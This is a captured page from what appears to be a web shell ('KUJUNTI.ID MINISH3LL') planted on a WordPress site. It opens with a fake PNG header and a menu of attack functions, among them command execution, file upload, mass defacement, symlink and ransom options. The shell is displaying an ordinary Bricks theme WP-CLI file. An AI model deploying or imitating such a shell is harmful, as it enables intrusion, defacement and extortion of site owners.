\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/csarite.com/public_html/wp-content/themes/bricks/includes/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/csarite.com/public_html/wp-content/themes/bricks/includes/cli.php


<?php
namespace Bricks;

if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly

/**
 * WP CLI commands for Bricks
 *
 * https://wp-cli.org/
 *
 * @since 1.8.1
 */
class CLI {
	public function __construct() {
		if ( defined( 'WP_CLI' ) && WP_CLI ) {
			// https://make.wordpress.org/cli/handbook/references/internal-api/wp-cli-add-command/
			\WP_CLI::add_command( 'bricks', '\Bricks\CLI' );
		}
	}

	public function regenerate_assets() {
		if ( Database::get_setting( 'cssLoading' ) !== 'file' ) {
			\WP_CLI::warning( 'EXIT: CSS loading method set to "Inline styles"' );
			return;
		}

		$generated_css_file_names = [];
		$css_files                = Assets_Files::get_css_files_list( true );

		if ( is_array( $css_files ) ) {
			foreach ( $css_files as $index => $css_file ) {
				$file_name = Assets_Files::regenerate_css_file( $css_file, $index, true );

				// Theme styles
				if ( is_array( $file_name ) ) {
					foreach ( $file_name as $name ) {
						if ( $name ) {
							$generated_css_file_names[] = $name;
							\WP_CLI::success( 'Generated CSS file: ' . $name );
						}
					}
				}

				// Single post, etc.
				else {
					if ( $file_name ) {
						$generated_css_file_names[] = $file_name;
						\WP_CLI::success( 'Generated CSS file: ' . $file_name );
					}
				}
			}
		}

		\WP_CLI::log( 'DONE! Generated CSS files: ' . count( $generated_css_file_names ) );
	}
}

© KUJUNTI.ID